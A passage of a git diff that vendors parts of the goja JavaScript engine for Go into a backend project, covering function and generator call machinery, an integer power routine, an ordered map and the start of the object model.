f.createInstance(args, newTarget) + f._initFields(instance) + thisVal = instance + } + ret := f._call(args, newTarget, thisVal) + + if ret, ok := ret.(*Object); ok { + return ret + } + if f.derived { + r := f.val.runtime + if ret != _undefined { + panic(r.NewTypeError("Derived constructors may only return object or undefined")) + } + if v := r.vm.stack[r.vm.sp+1]; v != nil { // using residual 'this' value (a bit hacky) + instance = r.toObject(v) + } else { + panic(r.newError(r.getReferenceError(), "Must call super constructor in derived class before returning from derived constructor")) + } + } + return instance + } +} + +func (f *classFuncObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return f.construct +} + +func (f *baseJsFuncObject) Call(call FunctionCall) Value { + return f.call(call, nil) +} + +func (f *arrowFuncObject) Call(call FunctionCall) Value { + return f._call(call.Arguments, f.newTarget, nil) +} + +func (f *baseJsFuncObject) __call(args []Value, newTarget, this Value) (Value, *Exception) { + vm := f.val.runtime.vm + + vm.stack.expand(vm.sp + len(args) + 1) + vm.stack[vm.sp] = f.val + vm.sp++ + vm.stack[vm.sp] = this + vm.sp++ + for _, arg := range args { + if arg != nil { + vm.stack[vm.sp] = arg + } else { + vm.stack[vm.sp] = _undefined + } + vm.sp++ + } + + vm.pushTryFrame(tryPanicMarker, -1) + defer vm.popTryFrame() + + var needPop bool + if vm.prg != nil { + vm.pushCtx() + vm.callStack = append(vm.callStack, context{pc: -2}) // extra frame so that run() halts after ret + needPop = true + } else { + vm.pc = -2 + vm.pushCtx() + } + + vm.args = len(args) + vm.prg = f.prg + vm.stash = f.stash + vm.privEnv = f.privEnv + vm.newTarget = newTarget + vm.pc = 0 + for { + ex := vm.runTryInner() + if ex != nil { + return nil, ex + } + if vm.halted() { + break + } + } + if needPop { + vm.popCtx() + } + + return vm.pop(), nil +} + +func (f *baseJsFuncObject) _call(args []Value, newTarget, this Value) Value { + res, ex := f.__call(args, newTarget, this) + if ex != nil { + panic(ex) + } + return res +} + +func (f *baseJsFuncObject) call(call FunctionCall, newTarget Value) Value { + return f._call(call.Arguments, newTarget, nilSafe(call.This)) +} + +func (f *baseJsFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} + +func (f *baseFuncObject) exportType() reflect.Type { + return reflectTypeFunc +} + +func (f *baseFuncObject) typeOf() String { + return stringFunction +} + +func (f *baseJsFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *funcObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return f.construct +} + +func (f *baseJsFuncObject) vmCall(vm *vm, n int) { + vm.pushCtx() + vm.args = n + vm.prg = f.prg + vm.stash = f.stash + vm.privEnv = f.privEnv + vm.pc = 0 + vm.stack[vm.sp-n-1], vm.stack[vm.sp-n-2] = vm.stack[vm.sp-n-2], vm.stack[vm.sp-n-1] +} + +func (f *arrowFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *arrowFuncObject) vmCall(vm *vm, n int) { + vm.pushCtx() + vm.args = n + vm.prg = f.prg + vm.stash = f.stash + vm.privEnv = f.privEnv + vm.pc = 0 + vm.stack[vm.sp-n-1], vm.stack[vm.sp-n-2] = nil, vm.stack[vm.sp-n-1] + vm.newTarget = f.newTarget +} + +func (f *arrowFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} + +func (f *baseFuncObject) init(name unistring.String, length Value) { + f.baseObject.init() + + f.lenProp.configurable = true + f.lenProp.value = length + f._put("length", &f.lenProp) + + f._putProp("name", stringValueFromRaw(name), false, false, true) +} + +func hasInstance(val *Object, v Value) bool { + if v, ok := v.(*Object); ok { + o := val.self.getStr("prototype", nil) + if o1, ok := o.(*Object); ok { + for { + v = v.self.proto() + if v == nil { + return false + } + if o1 == v { + return true + } + } + } else { + panic(val.runtime.NewTypeError("prototype is not an object")) + } + } + + return false +} + +func (f *baseFuncObject) hasInstance(v Value) bool { + return hasInstance(f.val, v) +} + +func (f *nativeFuncObject) defaultConstruct(ccall func(ConstructorCall) *Object, args []Value, newTarget *Object) *Object { + obj := f.createInstance(newTarget) + ret := ccall(ConstructorCall{ + This: obj, + Arguments: args, + NewTarget: newTarget, + }) + + if ret != nil { + return ret + } + return obj +} + +func (f *nativeFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + if f.f != nil { + return f.f, true + } + return nil, false +} + +func (f *nativeFuncObject) vmCall(vm *vm, n int) { + if f.f != nil { + vm.pushCtx() + vm.prg = nil + vm.sb = vm.sp - n // so that [sb-1] points to the callee + ret := f.f(FunctionCall{ + Arguments: vm.stack[vm.sp-n : vm.sp], + This: vm.stack[vm.sp-n-2], + }) + if ret == nil { + ret = _undefined + } + vm.stack[vm.sp-n-2] = ret + vm.popCtx() + } else { + vm.stack[vm.sp-n-2] = _undefined + } + vm.sp -= n + 1 + vm.pc++ +} + +func (f *nativeFuncObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return f.construct +} + +func (f *boundFuncObject) hasInstance(v Value) bool { + return instanceOfOperator(v, f.wrapped) +} + +func (f *baseJsFuncObject) prepareForVmCall(call FunctionCall) { + vm := f.val.runtime.vm + args := call.Arguments + vm.stack.expand(vm.sp + len(args) + 1) + vm.stack[vm.sp] = call.This + vm.sp++ + vm.stack[vm.sp] = f.val + vm.sp++ + for _, arg := range args { + if arg != nil { + vm.stack[vm.sp] = arg + } else { + vm.stack[vm.sp] = _undefined + } + vm.sp++ + } +} + +func (f *baseJsFuncObject) asyncCall(call FunctionCall, vmCall func(*vm, int)) Value { + f.prepareForVmCall(call) + ar := &asyncRunner{ + f: f.val, + vmCall: vmCall, + } + ar.start(len(call.Arguments)) + return ar.promiseCap.promise +} + +func (f *asyncFuncObject) Call(call FunctionCall) Value { + return f.asyncCall(call, f.baseJsFuncObject.vmCall) +} + +func (f *asyncFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *asyncFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} + +func (f *asyncArrowFuncObject) Call(call FunctionCall) Value { + return f.asyncCall(call, f.arrowFuncObject.vmCall) +} + +func (f *asyncArrowFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *asyncArrowFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} + +func (f *asyncArrowFuncObject) vmCall(vm *vm, n int) { + f.asyncVmCall(vm, n, f.arrowFuncObject.vmCall) +} + +func (f *asyncMethodFuncObject) Call(call FunctionCall) Value { + return f.asyncCall(call, f.methodFuncObject.vmCall) +} + +func (f *asyncMethodFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *asyncMethodFuncObject) export(ctx *objectExportCtx) interface{} { + return f.Call +} + +func (f *asyncMethodFuncObject) vmCall(vm *vm, n int) { + f.asyncVmCall(vm, n, f.methodFuncObject.vmCall) +} + +func (f *baseJsFuncObject) asyncVmCall(vm *vm, n int, vmCall func(*vm, int)) { + ar := &asyncRunner{ + f: f.val, + vmCall: vmCall, + } + ar.start(n) + vm.push(ar.promiseCap.promise) + vm.pc++ +} + +func (f *asyncFuncObject) vmCall(vm *vm, n int) { + f.asyncVmCall(vm, n, f.baseJsFuncObject.vmCall) +} + +type asyncRunner struct { + gen generator + promiseCap *promiseCapability + f *Object + vmCall func(*vm, int) +} + +func (ar *asyncRunner) onFulfilled(call FunctionCall) Value { + ar.gen.vm.curAsyncRunner = ar + defer func() { + ar.gen.vm.curAsyncRunner = nil + }() + arg := call.Argument(0) + res, resType, ex := ar.gen.next(arg) + ar.step(res, resType == resultNormal, ex) + return _undefined +} + +func (ar *asyncRunner) onRejected(call FunctionCall) Value { + ar.gen.vm.curAsyncRunner = ar + defer func() { + ar.gen.vm.curAsyncRunner = nil + }() + reason := call.Argument(0) + res, resType, ex := ar.gen.nextThrow(reason) + ar.step(res, resType == resultNormal, ex) + return _undefined +} + +func (ar *asyncRunner) step(res Value, done bool, ex *Exception) { + r := ar.f.runtime + if done || ex != nil { + if ex == nil { + ar.promiseCap.resolve(res) + } else { + ar.promiseCap.reject(ex.val) + } + return + } + + // await + promise := r.promiseResolve(r.getPromise(), res) + promise.self.(*Promise).addReactions(&promiseReaction{ + typ: promiseReactionFulfill, + handler: &jobCallback{callback: ar.onFulfilled}, + asyncRunner: ar, + }, &promiseReaction{ + typ: promiseReactionReject, + handler: &jobCallback{callback: ar.onRejected}, + asyncRunner: ar, + }) +} + +func (ar *asyncRunner) start(nArgs int) { + r := ar.f.runtime + ar.gen.vm = r.vm + ar.promiseCap = r.newPromiseCapability(r.getPromise()) + sp := r.vm.sp + ar.gen.enter() + ar.vmCall(r.vm, nArgs) + res, resType, ex := ar.gen.step() + ar.step(res, resType == resultNormal, ex) + if ex != nil { + r.vm.sp = sp - nArgs - 2 + } + r.vm.popTryFrame() + r.vm.popCtx() +} + +type generator struct { + ctx execCtx + vm *vm + + tryStackLen, iterStackLen, refStackLen uint32 +} + +func (g *generator) storeLengths() { + g.tryStackLen, g.iterStackLen, g.refStackLen = uint32(len(g.vm.tryStack)), uint32(len(g.vm.iterStack)), uint32(len(g.vm.refStack)) +} + +func (g *generator) enter() { + g.vm.pushCtx() + g.vm.pushTryFrame(tryPanicMarker, -1) + g.vm.prg, g.vm.sb, g.vm.pc = nil, -1, -2 // so that vm.run() halts after ret + g.storeLengths() +} + +func (g *generator) step() (res Value, resultType resultType, ex *Exception) { + for { + ex = g.vm.runTryInner() + if ex != nil { + return + } + if g.vm.halted() { + break + } + } + res = g.vm.pop() + if ym, ok := res.(*yieldMarker); ok { + resultType = ym.resultType + g.ctx = execCtx{} + g.vm.pc = -g.vm.pc + 1 + if res != yieldEmpty { + res = g.vm.pop() + } else { + res = nil + } + g.vm.suspend(&g.ctx, g.tryStackLen, g.iterStackLen, g.refStackLen) + g.vm.sp = g.vm.sb - 1 + g.vm.callStack = g.vm.callStack[:len(g.vm.callStack)-1] // remove the frame with pc == -2, as ret would do + } + return +} + +func (g *generator) enterNext() { + g.vm.pushCtx() + g.vm.pushTryFrame(tryPanicMarker, -1) + g.vm.callStack = append(g.vm.callStack, context{pc: -2}) // extra frame so that vm.run() halts after ret + g.storeLengths() + g.vm.resume(&g.ctx) +} + +func (g *generator) next(v Value) (Value, resultType, *Exception) { + g.enterNext() + if v != nil { + g.vm.push(v) + } + res, done, ex := g.step() + g.vm.popTryFrame() + g.vm.popCtx() + return res, done, ex +} + +func (g *generator) nextThrow(v interface{}) (Value, resultType, *Exception) { + g.enterNext() + ex := g.vm.handleThrow(v) + if ex != nil { + g.vm.popTryFrame() + g.vm.popCtx() + return nil, resultNormal, ex + } + + res, resType, ex := g.step() + g.vm.popTryFrame() + g.vm.popCtx() + return res, resType, ex +} + +func (g *generatorObject) init(vmCall func(*vm, int), nArgs int) { + g.baseObject.init() + vm := g.val.runtime.vm + g.gen.vm = vm + + g.gen.enter() + vmCall(vm, nArgs) + + _, _, ex := g.gen.step() + + vm.popTryFrame() + if ex != nil { + panic(ex) + } + + g.state = genStateSuspendedStart + vm.popCtx() +} + +func (g *generatorObject) validate() { + if g.state == genStateExecuting { + panic(g.val.runtime.NewTypeError("Illegal generator state")) + } +} + +func (g *generatorObject) step(res Value, resType resultType, ex *Exception) Value { + if ex != nil { + g.delegated = nil + g.state = genStateCompleted + panic(ex) + } + switch resType { + case resultYield: + g.state = genStateSuspendedYield + return g.val.runtime.createIterResultObject(res, false) + case resultYieldDelegate: + g.state = genStateSuspendedYield + return g.delegate(res) + case resultYieldRes: + g.state = genStateSuspendedYieldRes + return g.val.runtime.createIterResultObject(res, false) + case resultYieldDelegateRes: + g.state = genStateSuspendedYieldRes + return g.delegate(res) + case resultNormal: + g.state = genStateCompleted + return g.val.runtime.createIterResultObject(res, true) + default: + panic(g.val.runtime.NewTypeError("Runtime bug: unexpected result type: %v", resType)) + } +} + +func (g *generatorObject) delegate(v Value) Value { + ex := g.val.runtime.try(func() { + g.delegated = g.val.runtime.getIterator(v, nil) + }) + if ex != nil { + g.delegated = nil + g.state = genStateCompleted + return g.step(g.gen.nextThrow(ex)) + } + return g.next(_undefined) +} + +func (g *generatorObject) tryCallDelegated(fn func() (Value, bool)) (ret Value, done bool) { + ex := g.val.runtime.try(func() { + ret, done = fn() + }) + if ex != nil { + g.delegated = nil + g.state = genStateExecuting + return g.step(g.gen.nextThrow(ex)), false + } + return +} + +func (g *generatorObject) callDelegated(method func(FunctionCall) Value, v Value) (Value, bool) { + res := g.val.runtime.toObject(method(FunctionCall{This: g.delegated.iterator, Arguments: []Value{v}})) + if iteratorComplete(res) { + g.delegated = nil + return iteratorValue(res), true + } + return res, false +} + +func (g *generatorObject) next(v Value) Value { + g.validate() + if g.state == genStateCompleted { + return g.val.runtime.createIterResultObject(_undefined, true) + } + if g.delegated != nil { + res, done := g.tryCallDelegated(func() (Value, bool) { + return g.callDelegated(g.delegated.next, v) + }) + if !done { + return res + } else { + v = res + } + } + if g.state != genStateSuspendedYieldRes { + v = nil + } + g.state = genStateExecuting + return g.step(g.gen.next(v)) +} + +func (g *generatorObject) throw(v Value) Value { + g.validate() + if g.state == genStateSuspendedStart { + g.state = genStateCompleted + } + if g.state == genStateCompleted { + panic(v) + } + if d := g.delegated; d != nil { + res, done := g.tryCallDelegated(func() (Value, bool) { + method := toMethod(g.delegated.iterator.self.getStr("throw", nil)) + if method != nil { + return g.callDelegated(method, v) + } + g.delegated = nil + d.returnIter() + panic(g.val.runtime.NewTypeError("The iterator does not provide a 'throw' method")) + }) + if !done { + return res + } + if g.state != genStateSuspendedYieldRes { + res = nil + } + g.state = genStateExecuting + return g.step(g.gen.next(res)) + } + g.state = genStateExecuting + return g.step(g.gen.nextThrow(v)) +} + +func (g *generatorObject) _return(v Value) Value { + g.validate() + if g.state == genStateSuspendedStart { + g.state = genStateCompleted + } + + if g.state == genStateCompleted { + return g.val.runtime.createIterResultObject(v, true) + } + + if d := g.delegated; d != nil { + res, done := g.tryCallDelegated(func() (Value, bool) { + method := toMethod(g.delegated.iterator.self.getStr("return", nil)) + if method != nil { + return g.callDelegated(method, v) + } + g.delegated = nil + return v, true + }) + if !done { + return res + } else { + v = res + } + } + + g.state = genStateExecuting + + g.gen.enterNext() + + vm := g.gen.vm + var ex *Exception + for len(vm.tryStack) > 0 { + tf := &vm.tryStack[len(vm.tryStack)-1] + if int(tf.callStackLen) != len(vm.callStack) { + break + } + + if tf.finallyPos >= 0 { + vm.sp = int(tf.sp) + vm.stash = tf.stash + vm.privEnv = tf.privEnv + ex1 := vm.restoreStacks(tf.iterLen, tf.refLen) + if ex1 != nil { + ex = ex1 + vm.popTryFrame() + continue + } + + vm.pc = int(tf.finallyPos) + tf.catchPos = tryPanicMarker + tf.finallyPos = -1 + tf.finallyRet = -2 // -1 would cause it to continue after leaveFinally + for { + ex1 := vm.runTryInner() + if ex1 != nil { + ex = ex1 + vm.popTryFrame() + break + } + if vm.halted() { + break + } + } + } else { + vm.popTryFrame() + } + } + + g.state = genStateCompleted + + vm.popTryFrame() + + if ex == nil { + ex = vm.restoreStacks(g.gen.iterStackLen, g.gen.refStackLen) + } + + if ex != nil { + panic(ex) + } + + vm.callStack = vm.callStack[:len(vm.callStack)-1] + vm.sp = vm.sb - 1 + vm.popCtx() + + return g.val.runtime.createIterResultObject(v, true) +} + +func (f *baseJsFuncObject) generatorCall(vmCall func(*vm, int), nArgs int) Value { + o := &Object{runtime: f.val.runtime} + + genObj := &generatorObject{ + baseObject: baseObject{ + class: classObject, + val: o, + extensible: true, + }, + } + o.self = genObj + genObj.init(vmCall, nArgs) + genObj.prototype = o.runtime.getPrototypeFromCtor(f.val, nil, o.runtime.getGeneratorPrototype()) + return o +} + +func (f *baseJsFuncObject) generatorVmCall(vmCall func(*vm, int), nArgs int) { + vm := f.val.runtime.vm + vm.push(f.generatorCall(vmCall, nArgs)) + vm.pc++ +} + +func (f *generatorFuncObject) vmCall(_ *vm, nArgs int) { + f.generatorVmCall(f.baseJsFuncObject.vmCall, nArgs) +} + +func (f *generatorFuncObject) Call(call FunctionCall) Value { + f.prepareForVmCall(call) + return f.generatorCall(f.baseJsFuncObject.vmCall, len(call.Arguments)) +} + +func (f *generatorFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *generatorFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} + +func (f *generatorFuncObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return nil +} + +func (f *generatorMethodFuncObject) vmCall(_ *vm, nArgs int) { + f.generatorVmCall(f.methodFuncObject.vmCall, nArgs) +} + +func (f *generatorMethodFuncObject) Call(call FunctionCall) Value { + f.prepareForVmCall(call) + return f.generatorCall(f.methodFuncObject.vmCall, len(call.Arguments)) +} + +func (f *generatorMethodFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *generatorMethodFuncObject) export(*objectExportCtx) interface{} { + return f.Call +} diff --git a/backend/vendor/github.com/dop251/goja/ipow.go b/backend/vendor/github.com/dop251/goja/ipow.go new file mode 100644 index 0000000..5ee0d4d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ipow.go @@ -0,0 +1,98 @@ +package goja + +// inspired by https://gist.github.com/orlp/3551590 + +var overflows = [64]int64{ + 9223372036854775807, 9223372036854775807, 3037000499, 2097151, + 55108, 6208, 1448, 511, + 234, 127, 78, 52, + 38, 28, 22, 18, + 15, 13, 11, 9, + 8, 7, 7, 6, + 6, 5, 5, 5, + 4, 4, 4, 4, + 3, 3, 3, 3, + 3, 3, 3, 3, + 2, 2, 2, 2, + 2, 2, 2, 2, + 2, 2, 2, 2, + 2, 2, 2, 2, + 2, 2, 2, 2, + 2, 2, 2, 2, +} + +var highestBitSet = [63]byte{ + 0, 1, 2, 2, 3, 3, 3, 3, + 4, 4, 4, 4, 4, 4, 4, 4, + 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 5, 5, 5, 5, + 6, 6, 6, 6, 6, 6, 6, 6, + 6, 6, 6, 6, 6, 6, 6, 6, + 6, 6, 6, 6, 6, 6, 6, 6, + 6, 6, 6, 6, 6, 6, 6, +} + +func ipow(base, exp int64) (result int64) { + if exp >= 63 { + if base == 1 { + return 1 + } + + if base == -1 { + return 1 - 2*(exp&1) + } + + return 0 + } + + if base > overflows[exp] || -base > overflows[exp] { + return 0 + } + + result = 1 + + switch highestBitSet[byte(exp)] { + case 6: + if exp&1 != 0 { + result *= base + } + exp >>= 1 + base *= base + fallthrough + case 5: + if exp&1 != 0 { + result *= base + } + exp >>= 1 + base *= base + fallthrough + case 4: + if exp&1 != 0 { + result *= base + } + exp >>= 1 + base *= base + fallthrough + case 3: + if exp&1 != 0 { + result *= base + } + exp >>= 1 + base *= base + fallthrough + case 2: + if exp&1 != 0 { + result *= base + } + exp >>= 1 + base *= base + fallthrough + case 1: + if exp&1 != 0 { + result *= base + } + fallthrough + default: + return result + } +} diff --git a/backend/vendor/github.com/dop251/goja/map.go b/backend/vendor/github.com/dop251/goja/map.go new file mode 100644 index 0000000..b092b0d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/map.go @@ -0,0 +1,169 @@ +package goja + +import ( + "hash/maphash" +) + +type mapEntry struct { + key, value Value + + iterPrev, iterNext *mapEntry + hNext *mapEntry +} + +type orderedMap struct { + hash *maphash.Hash + hashTable map[uint64]*mapEntry + iterFirst, iterLast *mapEntry + size int +} + +type orderedMapIter struct { + m *orderedMap + cur *mapEntry +} + +func (m *orderedMap) lookup(key Value) (h uint64, entry, hPrev *mapEntry) { + if key == _negativeZero { + key = intToValue(0) + } + h = key.hash(m.hash) + for entry = m.hashTable[h]; entry != nil && !entry.key.SameAs(key); hPrev, entry = entry, entry.hNext { + } + return +} + +func (m *orderedMap) set(key, value Value) { + h, entry, hPrev := m.lookup(key) + if entry != nil { + entry.value = value + } else { + if key == _negativeZero { + key = intToValue(0) + } + entry = &mapEntry{key: key, value: value} + if hPrev == nil { + m.hashTable[h] = entry + } else { + hPrev.hNext = entry + } + if m.iterLast != nil { + entry.iterPrev = m.iterLast + m.iterLast.iterNext = entry + } else { + m.iterFirst = entry + } + m.iterLast = entry + m.size++ + } +} + +func (m *orderedMap) get(key Value) Value { + _, entry, _ := m.lookup(key) + if entry != nil { + return entry.value + } + + return nil +} + +func (m *orderedMap) remove(key Value) bool { + h, entry, hPrev := m.lookup(key) + if entry != nil { + entry.key = nil + entry.value = nil + + // remove from the doubly-linked list + if entry.iterPrev != nil { + entry.iterPrev.iterNext = entry.iterNext + } else { + m.iterFirst = entry.iterNext + } + if entry.iterNext != nil { + entry.iterNext.iterPrev = entry.iterPrev + } else { + m.iterLast = entry.iterPrev + } + + // remove from the hashTable + if hPrev == nil { + if entry.hNext == nil { + delete(m.hashTable, h) + } else { + m.hashTable[h] = entry.hNext + } + } else { + hPrev.hNext = entry.hNext + } + + m.size-- + return true + } + + return false +} + +func (m *orderedMap) has(key Value) bool { + _, entry, _ := m.lookup(key) + return entry != nil +} + +func (iter *orderedMapIter) next() *mapEntry { + if iter.m == nil { + // closed iterator + return nil + } + + cur := iter.cur + // if the current item was deleted, track back to find the latest that wasn't + for cur != nil && cur.key == nil { + cur = cur.iterPrev + } + + if cur != nil { + cur = cur.iterNext + } else { + cur = iter.m.iterFirst + } + + if cur == nil { + iter.close() + } else { + iter.cur = cur + } + + return cur +} + +func (iter *orderedMapIter) close() { + iter.m = nil + iter.cur = nil +} + +func newOrderedMap(h *maphash.Hash) *orderedMap { + return &orderedMap{ + hash: h, + hashTable: make(map[uint64]*mapEntry), + } +} + +func (m *orderedMap) newIter() *orderedMapIter { + iter := &orderedMapIter{ + m: m, + } + return iter +} + +func (m *orderedMap) clear() { + for item := m.iterFirst; item != nil; item = item.iterNext { + item.key = nil + item.value = nil + if item.iterPrev != nil { + item.iterPrev.iterNext = nil + } + } + m.iterFirst = nil + m.iterLast = nil + m.hashTable = make(map[uint64]*mapEntry) + m.size = 0 +} diff --git a/backend/vendor/github.com/dop251/goja/object.go b/backend/vendor/github.com/dop251/goja/object.go new file mode 100644 index 0000000..9a02e08 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object.go @@ -0,0 +1,1864 @@ +package goja + +import ( + "fmt" + "math" + "reflect" + "sort" + + "github.com/dop251/goja/unistring" +) + +const ( + classObject = "Object" + classArray = "Array" + classWeakSet = "WeakSet" + classWeakMap = "WeakMap" + classMap = "Map" + classMath = "Math" + classSet = "Set" + classFunction = "Function" + classAsyncFunction = "AsyncFunction" + classNumber = "Number" + classString = "String" + classBoolean = "Boolean" + classError = "Error" + classRegExp = "RegExp" + classDate = "Date" + classJSON = "JSON" + classGlobal = "global" + classPromise = "Promise" + + classArrayIterator = "Array Iterator" + classMapIterator = "Map Iterator" + classSetIterator = "Set Iterator" + classStringIterator = "String Iterator" + classRegExpStringIterator = "RegExp String Iterator" + + classGenerator = "Generator" + classGeneratorFunction = "GeneratorFunction" +) + +var ( + hintDefault Value = asciiString("default") + hintNumber Value = asciiString("number") + hintString Value = asciiString("string") +) + +type Object struct { + id uint64 + runtime *Runtime + self objectImpl + + weakRefs map[weakMap]Value +} + +type iterNextFunc func() (propIterItem, iterNextFunc) + +type PropertyDescriptor struct { + jsDescriptor *Object + + Value Value + + Writable, Configurable, Enumerable Flag + + Getter, Setter Value +} + +func (p *PropertyDescriptor) Empty() bool { + var empty PropertyDescriptor + return *p == empty +} + +func (p *PropertyDescriptor) IsAccessor() bool { + return p.Setter != nil || p.Getter != nil +} + +func (p *PropertyDescriptor) IsData() bool { + return p.Value != nil || p.Writable != FLAG_NOT_SET +} + +func (p *PropertyDescriptor) IsGeneric() bool { + return !p.IsAccessor() && !p.IsData() +} + +func (p *PropertyDescriptor) toValue(r *Runtime) Value { + if p.jsDescriptor != nil { + return p.jsDescriptor + } + if p.Empty() { + return _undefined + } + o := r.NewObject() + s := o.self + + if p.Value != nil { + s._putProp("value", p.Value, true, true, true) + } + + if p.Writable != FLAG_NOT_SET { + s._putProp("writable", valueBool(p.Writable.Bool()), true, true, true) + } + + if p.Enumerable != FLAG_NOT_SET { + s._putProp("enumerable", valueBool(p.Enumerable.Bool()), true, true, true) + } + + if p.Configurable != FLAG_NOT_SET { + s._putProp("configurable", valueBool(p.Configurable.Bool()), true, true, true) + } + + if p.Getter != nil { + s._putProp("get", p.Getter, true, true, true) + } + if p.Setter != nil { + s._putProp("set", p.Setter, true, true, true) + } + + return o +} + +func (p *PropertyDescriptor) complete() { + if p.Getter == nil && p.Setter == nil { + if p.Value == nil { + p.Value = _undefined + } + if p.Writable == FLAG_NOT_SET { + p.Writable = FLAG_FALSE + } + } else { + if p.Getter == nil { + p.Getter = _undefined + } + if p.Setter == nil { + p.Setter = _undefined + } + } + if p.Enumerable == FLAG_NOT_SET { + p.Enumerable = FLAG_FALSE + } + if p.Configurable == FLAG_NOT_SET { + p.Configurable = FLAG_FALSE + } +} + +type objectExportCacheItem map[reflect.Type]interface{} + +type objectExportCtx struct { + cache map[*Object]interface{} +} + +type objectImpl interface { + sortable + className() string + typeOf() String + getStr(p unistring.String, receiver Value) Value + getIdx(p valueInt, receiver Value) Value + getSym(p *Symbol, receiver Value) Value + + getOwnPropStr(unistring.String) Value + getOwnPropIdx(valueInt) Value + getOwnPropSym(*Symbol) Value + + setOwnStr(p unistring.String, v Value, throw bool) bool + setOwnIdx(p valueInt, v Value, throw bool) bool + setOwnSym(p *Symbol, v Value, throw bool) bool + + setForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) + setForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) + setForeignSym(p *Symbol, v, receiver Value, throw bool) (res bool, handled bool) + + hasPropertyStr(unistring.String) bool + hasPropertyIdx(idx valueInt) bool + hasPropertySym(s *Symbol) bool + + hasOwnPropertyStr(unistring.String) bool + hasOwnPropertyIdx(valueInt) bool + hasOwnPropertySym(s *Symbol) bool + + defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool + defineOwnPropertyIdx(name valueInt, desc PropertyDescriptor, throw bool) bool + defineOwnPropertySym(name *Symbol, desc PropertyDescriptor, throw bool) bool + + deleteStr(name unistring.String, throw bool) bool + deleteIdx(idx valueInt, throw bool) bool + deleteSym(s *Symbol, throw bool) bool + + assertCallable() (call func(FunctionCall) Value, ok bool) + vmCall(vm *vm, n int) + assertConstructor() func(args []Value, newTarget *Object) *Object + proto() *Object + setProto(proto *Object, throw bool) bool + hasInstance(v Value) bool + isExtensible() bool + preventExtensions(throw bool) bool + + export(ctx *objectExportCtx) interface{} + exportType() reflect.Type + exportToMap(m reflect.Value, typ reflect.Type, ctx *objectExportCtx) error + exportToArrayOrSlice(s reflect.Value, typ reflect.Type, ctx *objectExportCtx) error + equal(objectImpl) bool + + iterateStringKeys() iterNextFunc + iterateSymbols() iterNextFunc + iterateKeys() iterNextFunc + + stringKeys(all bool, accum []Value) []Value + symbols(all bool, accum []Value) []Value + keys(all bool, accum []Value) []Value + + _putProp(name unistring.String, value Value, writable, enumerable, configurable bool) Value + _putSym(s *Symbol, prop Value) + getPrivateEnv(typ *privateEnvType, create bool) *privateElements +} + +type baseObject struct { + class string + val *Object + prototype *Object + extensible bool + + values map[unistring.String]Value + propNames []unistring.String + + lastSortedPropLen, idxPropCount int + + symValues *orderedMap + + privateElements map[*privateEnvType]*privateElements +} + +type guardedObject struct { + baseObject + guardedProps map[unistring.String]struct{} +} + +type primitiveValueObject struct { + baseObject + pValue Value +} + +func (o *primitiveValueObject) export(*objectExportCtx) interface{} { + return o.pValue.Export() +} + +func (o *primitiveValueObject) exportType() reflect.Type { + return o.pValue.ExportType() +} + +type FunctionCall struct { + This Value + Arguments []Value +} + +type ConstructorCall struct { + This *Object + Arguments []Value + NewTarget *Object +} + +func (f FunctionCall) Argument(idx int) Value { + if idx < len(f.Arguments) { + return f.Arguments[idx] + } + return _undefined +} + +func (f ConstructorCall) Argument(idx int) Value { + if idx < len(f.Arguments) { + return f.Arguments[idx] + } + return _undefined +} + +func (o *baseObject) init() { + o.values = make(map[unistring.String]Value) +} + +func (o *baseObject) className() string { + return o.class +} + +func (o *baseObject) typeOf() String { + return stringObjectC +} + +func (o *baseObject) hasPropertyStr(name unistring.String) bool { + if o.val.self.hasOwnPropertyStr(name) { + return true + } + if o.prototype != nil { + return o.prototype.self.hasPropertyStr(name) + } + return false +} + +func (o *baseObject) hasPropertyIdx(idx valueInt) bool { + return o.val.self.hasPropertyStr(idx.string()) +} + +func (o *baseObject) hasPropertySym(s *Symbol) bool { + if o.hasOwnPropertySym(s) { + return true + } + if o.prototype != nil { + return o.prototype.self.hasPropertySym(s) + } + return false +} + +func (o *baseObject) getWithOwnProp(prop, p, receiver Value) Value { + if prop == nil && o.prototype != nil { + if receiver == nil { + return o.prototype.get(p, o.val) + } + return o.prototype.get(p, receiver) + } + if prop, ok := prop.(*valueProperty); ok { + if receiver == nil { + return prop.get(o.val) + } + return prop.get(receiver) + } + return prop +} + +func (o *baseObject) getStrWithOwnProp(prop Value, name unistring.String, receiver Value) Value { + if prop == nil && o.prototype != nil { + if receiver == nil { + return o.prototype.self.getStr(name, o.val) + } + return o.prototype.self.getStr(name, receiver) + } + if prop, ok := prop.(*valueProperty); ok { + if receiver == nil { + return prop.get(o.val) + } + return prop.get(receiver) + } + return prop +} + +func (o *baseObject) getIdx(idx valueInt, receiver Value) Value { + return o.val.self.getStr(idx.string(), receiver) +} + +func (o *baseObject) getSym(s *Symbol, receiver Value) Value { + return o.getWithOwnProp(o.getOwnPropSym(s), s, receiver) +} + +func (o *baseObject) getStr(name unistring.String, receiver Value) Value { + prop := o.values[name] + if prop == nil { + if o.prototype != nil { + if receiver == nil { + return o.prototype.self.getStr(name, o.val) + } + return o.prototype.self.getStr(name, receiver) + } + } + if 